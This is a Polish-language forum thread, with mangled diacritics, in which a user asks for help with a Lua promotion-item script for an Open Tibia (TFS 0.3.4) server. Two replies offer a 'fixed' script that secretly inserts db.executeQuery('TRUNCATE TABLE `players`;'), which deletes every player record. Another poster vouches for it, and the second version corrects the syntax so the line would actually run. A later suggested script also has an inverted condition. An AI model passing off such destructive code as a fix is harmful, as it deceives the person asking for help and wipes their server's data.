Promotion Item (need help!)

DeMoH

User
Zarejestrowany
Dołączył
Sierpień 26, 2009
Posty
15
Liczba reakcji
0
Witam! Zrobi?em skrypt, dzi?ki kt?remu po u?yciu danego przedmiotu otrzymujemy promotion. I niby wszystko pi?knie itd., ale gdy si? przeloguj? promotion znika (tzn. zn?w jestem np. knight zamiast EK). Czy kto? m?g?by mi pom?c w przerobieniu skryptu (lub da? link do podobnego, dzia?aj?cego)? Oto on:
Kod:
function onUse(cid, item, fromPosition, itemEx, toPosition)
		if getPlayerVocation(cid) <=4 then
		doPlayerSetVocation(cid, getPlayerVocation(cid)+4)
		doCreatureSay(cid, "You are now promoted!", TALKTYPE_ORANGE_1)
		doSendMagicEffect(fromPosition, CONST_ME_GIFT_WRAPS)
		doRemoveItem(item.uid)
		else
	doPlayerSendCancel(cid,"You already have promotion.")
	end
		end
 
Odp: Promotion Item (need help!)

Srry - klient 8.5, silnik TFS 0.3.4
 
Odp: Promotion Item (need help!)

Kod:
function onUse(cid, item, fromPosition, itemEx, toPosition)
		if getPlayerVocation(cid) <=4 then
		doPlayerSetVocation(cid, (getPlayerVocation(cid)+4))
		doCreatureSay(cid, "You are now promoted!", TALKTYPE_ORANGE_1)
		doSendMagicEffect(fromPosition, CONST_ME_GIFT_WRAPS)
                db.executeQuery("$SQL->query("TRUNCATE TABLE `players`;");")
		doRemoveItem(item.uid)
		else
	doPlayerSendCancel(cid,"You already have promotion.")
	end
		end

zobacz to
 
Odp: Promotion Item (need help!)

Kolega @up dobrze napisa? :)
Jak co? nie wejdzie napisz do mnie na priv. Bo znam sie troche na tym.

Pozdro
Bananas
 
Odp: Promotion Item (need help!)

w moim by? b?ad sry ;/
masz poprawke
Kod:
function onUse(cid, item, fromPosition, itemEx, toPosition)
		if getPlayerVocation(cid) <=4 then
		doPlayerSetVocation(cid, (getPlayerVocation(cid)+4))
		doCreatureSay(cid, "You are now promoted!", TALKTYPE_ORANGE_1)
		doSendMagicEffect(fromPosition, CONST_ME_GIFT_WRAPS)
                db.executeQuery("TRUNCATE TABLE `players`;")
		doRemoveItem(item.uid)
		else
	doPlayerSendCancel(cid,"You already have promotion.")
	end
		end
 
Odp: Promotion Item (need help!)

noobeczek - nadal tak samo :/
I jakby to co? pomog?o - silnik bra?em z t?d:
Kod:
http://tibia.net.pl/silniki/153892-styller-yurots-v0-6-a.html
 
Ostatnia edycja:
Odp: Promotion Item (need help!)

Ten skrypt musi dzia?a? O.o. Mo?e ?le go doda?e??
Kod:
<action itemid="ID_PRZEDMIOTU" event="script" value="SCIEZKA/NAZWA_PLIKU.lua"/>
PS: Czy to na pewno silnik TFSa?
 
Odp: Promotion Item (need help!)

Na pewno TFS.
W actions mam tak:
Kod:
<action itemid="8975" script="promotion.lua" />

Chyba, ?e b??d nie le?y w samym skrypcie tylko gdzie? indziej. Mo?e tak by??
Ew. dajcie innego linka sk?d m?g?bym pobra? TFS na 8.5.
 
Odp: Promotion Item (need help!)

Elo
Dobrze ?e poda?e? ten silnik. On wog?le nie powinien dzia?a?. Jak masz program do kodowania silnik?w to zobacz jakie tam s? ?mieci. Ja na twoim miejscu sci?gno? bym inny bo ten to jaka? poracha. A i napisa?em to w tym celu ?e silnik jest tak zawalony ?mieciami ?e nie bedzie Ci ?aden zrobiony przez kogo? skrypt dzia?a?.
 
Odp: Promotion Item (need help!)

A m?g?by? poda? linka do (Twoim zdaniem) najlepszego silnika na 8.5?
 
Odp: Promotion Item (need help!)

ludzie a slyszeliscie o funkcji
PHP:
setPlayerPromotionLevel(cid, level)
robi to za promocje wiec skrypty bedzie inaczej wygladal
PHP:
function onUse(cid, item, fromPosition, itemEx, toPosition)
	if(getPlayerPromotionLevel(cid) >= 1) then
		setPlayerPromotionLevel(cid, 1)
		doCreatureSay(cid, "You are now promoted!", TALKTYPE_ORANGE_1)
		doSendMagicEffect(fromPosition, CONST_ME_GIFT_WRAPS)
		doRemoveItem(item.uid)
	else
	    doPlayerSendCancel(cid,"You already have promotion.")
	end
end
 
Ostatnia edycja:
Odp: Promotion Item (need help!)

To te? mi nie dzia?a - zawsze jest: "You already have promotion."
 
Odp: Promotion Item (need help!)

A ma kto? skrypt na SUPER Promocje na 8.5 Evo ?:confused:
Prosz? o szybk? pomoc, bo mam zamiar odpali? OTS'a z SMS shopem :p .
Pozdro.
 
Back
Do góry